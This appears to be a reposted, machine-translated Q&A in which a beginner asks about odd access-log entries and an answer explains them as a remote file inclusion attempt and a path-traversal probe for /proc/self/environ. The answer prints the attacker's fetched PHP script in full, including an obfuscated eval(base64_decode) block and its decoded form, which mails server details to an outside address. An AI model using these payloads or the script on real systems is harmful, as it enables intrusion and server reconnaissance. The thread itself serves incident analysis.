php – 初学者安全问题

前端之家收集整理的这篇文章主要介绍了php – 初学者安全问题前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
我对Web开发还很陌生,对安全性有疑问.

每天我都会看到我的CPanel中的“最新访客”,今天有一些奇怪的条目(一个粘贴在下面).

不知道更好,它看起来像是因为某些原因,有一些网站将用户引荐到我的网站.有人可以解释这些是什么,以及它是否值得关注?谢谢!

Host: 77.68.38.175

/?p=http://teen-37.net/myid.jpg?
    Http Code: 404  Date: Feb 17 08:13:58   Http Version: HTTP/1.1  Size in Bytes: -
    Referer: -
    Agent: libwww-perl/5.805   *  

/?p=../../../../../../../../../../../../../../../proc/self/environ%00
    Http Code: 404  Date: Feb 17 08:13:59   Http Version: HTTP/1.1  Size in Bytes: -
    Referer: -
    Agent: libwww-perl/5.805
简短回答:

有人在攻击你.

答案很长:

有人使用带有LWP模块的Perl脚本来充当Web浏览器,并从您的服务器请求奇怪的URL,使其做一些危险的事情.这可能是自动攻击,也可能是某人手动执行.

第二个条目是尝试使您的服务器包括../../../../../../../../../../../../../.网站中的./../proc/self/environ表示很多次进入父目录(所以可能在根目录下结束)并显示/ proc / self / environ在Linux中显示你的环境变量可以为攻击者提供一些有用信息的过程.更新:它不仅可以获取信息,还可以探测本地文件包含漏洞,您可以通过将PHP代码放入User-Agent HTTP Header然后在页面中包含/ proc / self / environ来运行任意代码. (感谢aaz指出它.)

第一个条目更有趣,因为它显然试图让您的服务器下载攻击者的代码并让您的服务器运行它.这是我下载http://teen-37.net/myid.jpg时得到的 – 它不是JPEG图像而是PHP脚本:

<?
$win = strtolower(substr(PHP_OS,3)) == "win";
echo "B"."a"."M"."b"."Y"."<br>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4ON6";
}
else {$safemode = false; $hsafemode = "3OFF6";}
$xos = wordwrap(PHP_uname(),90,"<br>",1);
$xpwd = @getcwd();
$OS = "[SAFEMOD:".$hsafemode."] [Kernel:".$xos."]";
echo "<center><A class=ria href=\"http://".$OS."\">";echo "B"."a"."M"."b"."Y</A></center><br>";
echo "<br>OSTYPE:$OS<br>";
echo "<br>Pwd:$xpwd<br>";
eval(base64_decode("JGNyZWF0b3IgPSBiYXNlNjRfZGVjb2RlKCJiWGxwWkhOallXNUFaMjFoYVd3dVkyOXQiKTsKKCRzYWZlX21vZGUpPygkc2FmZW1vZGU9Ik9OIik6KCRzYWZlbW9kZT0iT0ZGIik7CiRiYXNlPSJodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107IAokbmFtZSA9IHBocF91bmFtZSgpOwokaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7CiRob3N0ID0gZ2V0aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOwokc3ViaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgCiRtc2cgPSAiXG5CQVNFOiAkYmFzZVxudW5hbWUgLWE6ICRuYW1lXG5JUDogJGlwXG5Ib3N0OiAkaG9zdFxuJHB3ZHNcbiI7CiRmcm9tID0iRnJvbTogTU9ERV89Ii4kc2FmZW1vZGUuIjx0b29sQCIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI+IjsKbWFpbCggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZnJvbSk7"));
die("<center> ByroeNet </center>");
?>

最后一部分 – eval(base64_decode(“…”)); – 显然是试图隐藏它正在做的事情,但你可以解码它,你得到这个:

$creator = base64_decode("bXlpZHNjYW5AZ21haWwuY29t");
($safe_mode)?($safemode="ON"):($safemode="OFF");
$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; 
$name = PHP_uname();
$ip = getenv("REMOTE_ADDR");
$host = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$subj = $_SERVER['HTTP_HOST']; 
$msg = "\nBASE: $base\nuname -a: $name\nIP: $ip\nHost: $host\n$pwds\n";
$from ="From: MODE_=".$safemode."<tool@".$_SERVER['HTTP_HOST'].">";
mail( $creator,$subj,$msg,$from);

现在当您解码“bXlpZHNjYW5AZ21haWwuY29t”时,您会收到电子邮件地址.

我们现在知道有人试图让您的服务器做什么 – 发送电子邮件,其中包含有关您服务器的一些信息.

您现在拥有攻击服务器的IP,可能知道也可能不知道它正在攻击 – 77.68.38.175似乎是server77-68-38-175.live-servers.net – 以及必须使用的攻击者的电子邮件偶尔收集数据,以及托管恶意代码的域.

搜索teen-37.net(托管恶意代码)的whois数据库,77.68.38.175 IP地址(攻击您的服务器)和123.30.181.39 IP地址(teen-37.net的IP)以获取联系信息对负责举报滥用行为的人员.

谷歌搜索teen-37.net和恶意脚本的一些随机部分可能会给你更多有趣的信息.

现在,根据404响应代码,我们可以假设这两种特殊的攻击不起作用,但你无法确定,因为理论上当攻击者控制你的服务器时,他可以在做了他想做的事后用404回应自己.

祝好运.

猜你在找的PHP相关文章